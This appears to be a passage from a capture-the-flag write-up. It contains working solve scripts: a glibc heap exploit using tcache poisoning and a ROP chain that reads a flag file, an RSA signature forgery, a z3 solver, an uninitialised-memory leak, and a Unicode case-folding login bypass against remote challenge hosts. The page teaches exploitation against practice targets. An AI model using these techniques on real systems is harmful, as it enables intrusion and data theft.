    p.recvuntil(b'B'*0xd0)
    heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
    payload = b'A'*0x40 + p64(0) + p64(0xa1) + p64(libc_leak) + p64(libc_leak)
    payload = payload.ljust(0xd0, b'\x00')
    edit_heap(0, 0xd0, payload)

### stage1: leak libc and heap
leak_heap_libc()
info(f'[LEAK] heap_leak: {hex(heap_leak)}')
info(f'[LEAK] libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
heap_base = heap_leak - heap_offset
info(f'[CALC] libc_base: {hex(libc.address)}')
info(f'[CALC] heap_base: {hex(heap_base)}')
environ_addr = libc.sym['__environ']
info(f'[CALC] environ_addr: {hex(environ_addr)}')

### stage2: leak stack
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2
malloc_heap(0x40, b'C'*0x40)
free_heap(2)
free_heap(1)
mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - 0x40)
info(f'[CALC] mangled_environ_addr: {hex(mangled_environ_addr)}')
payload = 0x40 * b'A' + p64(0) + p64(0x51) + p64(mangled_environ_addr)
edit_heap(0, 0x58, payload)
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2(environ_addr - 0x40)
malloc_heap(0x40, b'C'*0x40)
show_heap(2)
p.recvuntil(b'C'*0x40)
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
info(f'[LEAK] stack_leak: {hex(stack_leak)}')

### stage3: overwrite stack with rop chain
# idx3
malloc_heap(0x100, b'D'*0x100)
# idx4
malloc_heap(0x100, b'E'*0x100)
# idx5
malloc_heap(0x100, b'F'*0x100)
free_heap(5)
free_heap(4)
target_stack = stack_leak - stack_offset
info(f'[CALC] target_stack: {hex(target_stack)}')
mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-0x8)
info(f'[CALC] mangled_stack: {hex(mangled_stack)}')
payload = 0x100 * b'A' + p64(1) + p64(0x91) + p64(mangled_stack)
edit_heap(3, 0x118, payload)
# idx4
# gdb.attach(p)
malloc_heap(0x100, b'flag\x00'.ljust(0x100, b'\x00'))
# idx5(target_stack-0x20)
payload = p64(stack_leak)
flag_addr = heap_base + heap_flag_offset
rop = ROP(libc)
# raw orw
syscall_gadget = rop.find_gadget(['syscall', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
# pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# open('flag.txt', 0, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_gadget)
# read(3, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(0) + p64(syscall_gadget)
# write(1, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(1) + p64(syscall_gadget)
payload += rop.chain()
payload = payload.ljust(0x100, b'\x00')
# gdb.attach(p, 'b *$rebase(0x16cd)')
malloc_heap(0x100, payload)
flag = p.recvuntil(b'}')
success(f'[FLAG] {flag.decode()}')

1

flag{c9112d19-27e3-41ec-9957-fefb3f109229}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

# https://crypto.stackexchange.com/questions/35644/chosen-message-attack-rsa-signature
from pwn import *
from Crypto.Util.number import inverse, bytes_to_long

p = remote('0.cloud.chals.io', 31148)

def find_m2(m, n, m1):
    m1_inv = inverse(m1, n)
    m2 = (m * m1_inv) % n
    return m2

def get_n():
    p.recvuntil(b"RSA public key: (")
    n = p.recvuntil(b",", drop=True)
    p.recvuntil(b'Sign any other message using wikipedia-RSA')
    return int(n)

def menu():
    p.recvuntil(b'> ')

def sign(message):
    menu()
    p.sendline(f'2 {message}'.encode())
    return int(p.recvline().strip())

def win(signature):
    menu()
    p.sendline(f'1 {signature}'.encode())

m = bytes_to_long(b'I challenge you to sign this message!')
n = get_n()
m1 = bytes_to_long(b'BeaCox')
m2 = find_m2(m, n, m1)

s1 = sign(m1)
s2 = sign(m2)
signature = (s1 * s2) % n
win(signature)
p.interactive()
# TBTL{r3p347_4f73r_m3-d16174l_516n47ur3_15_n07_3ncryp710n}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

# input is 31*31 bit(0 or 1) string
from pwn import *
from z3 import *

data = [
    0x04CA4952, 0x69745A2A, 0x434A2A90, 0x36D0A9C7, 0x1002DAC8,
    0x04933AEB, 0x71A29525, 0x6DA8D531, 0x69259680, 0x2179213C,
    0x5D8A6097, 0x6ACA2822, 0x5495ED02, 0x255A2CD5, 0x16B5625A,
    0x2E8A8ABA, 0x2D6F5EB4, 0x557CD952, 0x2CB4E495, 0x020D29B9,
    0x0E8B2854, 0x4646C159, 0x47749281, 0x54229D46, 0x6C1CD620,
    0x07F80EFF, 0x04AD46A4, 0x32EBC04E, 0x4FAC1623, 0x600E1F04,
    0x24CD3000
]

# z3 init the input
input = [BitVec(f"input{i}", 1) for i in range(31*31)]
s = Solver()

def important_func(o_i, i_i, count):
    # print(f"index1: {index1}, index2: {index2}")
    # ( (input[31 * o_i + i_i] == 49) == (((data[count / 31] >> (31 - count % 31 - 1)) & 1) != 0) )
    s.add((input[31 * o_i + i_i] == 1) == (((data[count // 31] >> (31 - count % 31 - 1)) & 1) != 0))

outside_index = 0
inside_index = 0
count = 0
v9 = 1

while (outside_index < 31 and inside_index < 31):
    important_func(outside_index, inside_index, count)
    count += 1
    if v9 == 1:
        v10 = outside_index - 1
        v11 = inside_index + 1
    else:
        v10 = outside_index + 1
        v11 = inside_index - 1

    if v10 < 0 or v10 == 31 or v11 < 0 or v11 == 31:
        if v9 == 1:
            outside_index += inside_index == 30
            inside_index += inside_index < 30
        else:
            inside_index += outside_index == 30
            outside_index += outside_index < 30
        v9 = 1 - v9
    else:
        outside_index = v10
        inside_index = v11

flag = ""
if s.check() == sat:
    m = s.model()
    for i in range(31*31):
        flag += str(m[input[i]])
    print(flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

0000000000000000000000000000000
0111111100100011010010011111110
0100000101101100111100010000010
0101110100111001100001010111010
0101110101101010111100010111010
0101110100010110000001010111010
0100000101010011100001010000010
0111111101010101010101011111110
0000000000000100110111000000000
0111110111110110001011101010100
0001001010100010010001111111100
0101000110101111111101001100000
0100110011111000100100100110100
0001010101101010101111001011000
0000011001110110011001000101000
0111000100100011101001010111000
0111110001010100010000011110110
0100101111000111000000000110100
0101101000100011011011101110100
0100011100011101101001111011000
0101100011011001100001101010100
0100100100111000110001111101000
0000000001010110000111000101000
0111111101100011110011010100000
0100000100000110010101000100000
0101110101000101101101111111110
0101110101000000010011101110110
0101110101111100100111011100100
0100000101101001110010101000100
0111111101111000111110011111000
0000000000000000000000000000000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# convert to qrcode
from PIL import Image
MAX = 31
pic = Image.new("RGB",(MAX, MAX))
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(flag[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")
# TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

from pwn import *

context.binary = binary = ELF('./chall')
context.log_level = 'critical'

# we need record 20 int numbers
numbers = [0] * 20
sum = 0

def input(number):
    p.sendlineafter(b':', number)

def recv_average():
    p.recvuntil(b'Average score is ')
    byte_string = p.recvline().strip()[:-1]
    return float(byte_string)

for i in range(16):
    # p = binary.process()
    p = remote('0.cloud.chals.io', 10198)

    zeros = 19 - i
    print(f'zeros: {zeros}')
    # input zeros times of 0
    for _ in range(zeros):
        input(b'0')
    input(b'a')
    average_score = recv_average()
    print(f'average_score: {average_score}')
    tmp = sum
    sum = average_score * 20
    numbers[zeros] = int(sum - tmp)
    if numbers[zeros] < 0:
        numbers[zeros] = 0x100000000 + numbers[zeros]
    print(f'numbers[{zeros}]: {hex(numbers[zeros])}')
    p.close()

flag = b''

for i in range(4, 20):
    char1 = numbers[i] & 0xff
    char2 = (numbers[i] >> 8) & 0xff
    char3 = (numbers[i] >> 16) & 0xff
    char4 = (numbers[i] >> 24) & 0xff
    flag += bytes([char1, char2, char3, char4])

print(flag)
# TBTL{e4t_Y0ur_vegG13s_1n1714l1z3_y0ur_d4rn_v4r14bl35}

1
2
3

Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: asset=assets/css/pico.cyan.min.css

1
2
3
4
5
6
7

def isEqual(a, b):
    return a.lower() != b.lower() and a.upper() == b.upper()
……
if isEqual(username, "alice") and isEqual(password, "start2024"):
    session["logged_in"] = True
    session["role"] = "user"
    return redirect("/")

1
2
3
4
5
6
7
8
9
10
11
12

def find_replacement_char(ch):
    # 遍历 Unicode 字符范围 0x0000 到 0x10FFFF
    for i in range(0x110000):
        try:
            char = chr(i)
            if char.upper() == ch.upper() and char!=ch and char!=ch.upper():
                print(char)
        except ValueError:
            # 某些 Unicode 码点无法转换为有效字符,跳过
            pass

find_replacement_char('i')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import os

from app import Notes, app, db

with app.app_context():
    db.create_all()
    if not Notes.query.filter_by(type="notes").first():
        db.session.add(Notes(title="Hello, world!", message="This is an example note."))
        db.session.add(
            Notes(
                title="Where's flag?",
                message="Flag is waiting for you inside secrets.",
            )
        )
    if not Notes.query.filter_by(type="secrets").first():
        db.session.add(
            Notes(
                title="Secret flag",
                message=os.environ.get("FLAG", "fake{flag}"),
                type="secrets",
            )
        )
    db.session.commit()

1
2
3
4
5
6
7
8
9
10
11
12
13

type = request.args.get("type", "notes").strip()
if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get(
    "role"
) != "admin":
    return render_template(
        "index.html",
        notes=[],
        error="You are not admin. Only admin can view secre<u>ts</u>.",
    )
q = db.session.query(Notes)
q = q.filter(Notes.type == type)
notes = q.all()
return render_template("index.html", notes=notes)